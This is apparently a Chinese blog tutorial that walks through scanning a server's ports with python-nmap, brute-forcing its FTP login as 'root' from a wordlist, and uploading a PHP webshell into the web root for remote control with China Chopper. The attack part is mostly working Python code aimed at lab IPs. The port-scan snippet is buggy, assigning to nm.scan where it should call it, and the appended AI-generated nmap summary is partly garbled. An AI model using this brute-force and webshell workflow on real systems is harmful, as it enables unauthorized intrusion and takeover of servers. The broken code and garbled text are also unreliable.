python——利用nmap进行端口扫描,爆破ftp密码,上传wellshell.

本文介绍如何使用Python和nmap进行端口扫描,爆破FTP密码并上传webshell,涵盖网络渗透测试的基本步骤。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

一、端口扫描

首先安装nmap与python-nmap模块。从http://nmap.org/download.html网站下载nmap安装文件。从http://xael.org/norman/python/python-nmap网站下载python-nmap模块安装文件。

1.代码。

#!/usr/bin/python
# -*- coding: UTF-8 -*-
import sys
import os
import nmap
import socket

nm = nmap.PortScanner()

nm.scan = ('192.168.139.128', '1-1024')

for host in nm.all_hosts():
    print('-------------------------')
    print('host : {0} ({1})'.format(host, nm[host].hostname()))
    print('State : {0}'.format(nm[host].state()))
    
    for proto in nm[host].all_protocols():
        print('--------------')
        print('Protocol : {0}'.format(proto))

        lport = list(nm[host][proto].keys())
        lport.sort()
        for port in lport:
            print('port : {0}\tstate : {1}'.format(port, nm[host][proto][port]))
    print('----------------------------')

端口扫描原理是黑客pc向服务器pc发送多种协议的数据包,观察服务器pc的响应行为。若服务器pc给黑客pc返回某类数据包则证明服务器pc开放支持这种协议的端口!出了用python代码调用nmap扫描端口外,你可以直接在命令行使用nmap,这样更方便快捷!
nmap命令及参数
nmap:

		-sS  半开扫描TCP和SYN扫描

		-sT  完全TCP链接扫描

		-sU  UDP扫描

		-PS  sym包探测(防火墙探测)

		-PA  ack包探测 (防火墙探测)

		-PN  不ping

		-n  不dns解析

		-A -O和-sV

		-O  操作系统识别

		-sV  服务器版本信息(banner)

		-P  端口扫描

		-T  设置时间级别(0-5)

		-iL  导入扫描将结果

		-oG  输出扫描结果

2.测试。

使用Windows对Linux主机进行端口扫描。
在这里插入图片描述
查看服务器操作系统。
在这里插入图片描述

二、爆破ftp密码。

通过端口扫描我们看出此服务器开放21端口用来支持ftp协议(文件传输协议),ftp服务后台设置中通常不会检查密码输错次数,所以我们可以使用python提供的ftplib模块,爆破ftp密码。假设用户名已知,实际大多数用户都会使用默认的root用户名!

1.代码。

#!/usr/bin/python
# -*- coding: UTF-8 -*-
from ftplib import FTP

word = open('C:\Users\lenovo\Desktop\w.txt','r')
user_login = "root"

def getPassword(password):
    try:
        ftp = FTP("192.168.204.129")
        ftp.login(user_login,password)
        print("user password:",password)
        return True
    except Exception:
        return False
    
passwords = word.readlines()
for password in passwords:
    password = password.strip()
    print("test password:",password)
    if(getPassword(password)): 
        break
word.close()

首先需要创建一个w.txt字典文件,打开w.txt文件,声明getPassword()函数,用于连接FTP服务器,并尝试登录,使用root用户名和字典密码登录。若正常登录,则执行下一条语句,否则触发异常!再使用for循环遍历字典,调用getPassword()函数,若正常登录则返回True,结束循环!

2.测试。

爆破Linux ftp服务密码。
在这里插入图片描述

三、上传webshell。

使用爆破出来的密码登录ftp服务器,上传webshell。功能强大的webshell可以实现远程控制主机。

1.代码。

#!/usr/bin/python
# -*- coding: UTF-8 -*-
from ftplib import FTP

apacheDir = "html"
serverName = '192.168.204.129'
serverID = 'root'
serverPW = 'toor'

ftp = FTP(serverName,serverID,serverPW)

ftp.cwd("/var/www/html/")

fp = open("C:\Users\lenovo\Desktop\webshell.php","rb")
ftp.storbinary("STOR webshell.php",fp)

fp.close()
ftp.quit()

首先登录ftp服务器,再转到web安装目录,然后打开webshell文件,最后使用ftp.storbinary(“STOR webshell.php”,fp)上传webshell文件到web安装目录!

2.测试。

运行代码上传文件
在这里插入图片描述
在服务器端进入web安装目录,可以看到webshell文件成功上传,然后使用中国菜刀连接。
在这里插入图片描述

### 如何使用Nmap执行端口扫描 #### 基本命令结构 为了启动基本的端口扫描,可以利用`nmap`工具并指定目标IP地址或域名。最简单的形式如下所示: ```bash nmap <target> ``` 这里的 `<target>` 可以是一个具体的 IP 地址或是主机名[^1]。 #### 执行全面扫描 对于更详细的分析,可以通过 `-A 192.168.1.77 ``` 这条指令不仅会进行标准的TCP连接扫描,还会尝试推断远端设备的操作系统类型及其上运行的服务版本信息[^2]。 #### 启用OS检测 如果仅需知道对方可能使用的平台而不需要其他额外细节,则可以直接通过 `-O` 开关开启操作系统的推测机制: ```bash nmap -O host ``` 这会让程序基于已知模式库去匹配响应特征从而给出最佳猜测结果[^3]。 #### Traceroute 功能集成 当想要追踪到达特定目的地之间的路径时,可借助 `--traceroute` 参数让 Nmap 并行地向多个节点发送探测报文,并记录下沿途经过的关键路由器信息: ```bash nmap --traceroute target_ip_or_hostname ``` 该特性有助于绘制出完整的网络拓扑图以及评估链路质量状况[^4]。 #### 查看具体协议交互详情 假设已经完成了一次UDP类型的端口普查并将捕获的数据保存到了文件当中;那么现在就可以运用像tcpdump这样的抓包软件配合过滤条件重新解析这些历史流量样本,以便深入理解通信过程中的行为特点: ```bash sudo tcpdump -nn -P out -r ~/scan_results/udp_scan/packets 'udp and port 53' ``` 上述例子展示了怎样读取之前存储于本地磁盘上的二进制日志资料,并聚焦于DNS查询请求部分的内容展示[^5]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

晶晶娃在战斗

你的鼓励将是我创作的最大动力!

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值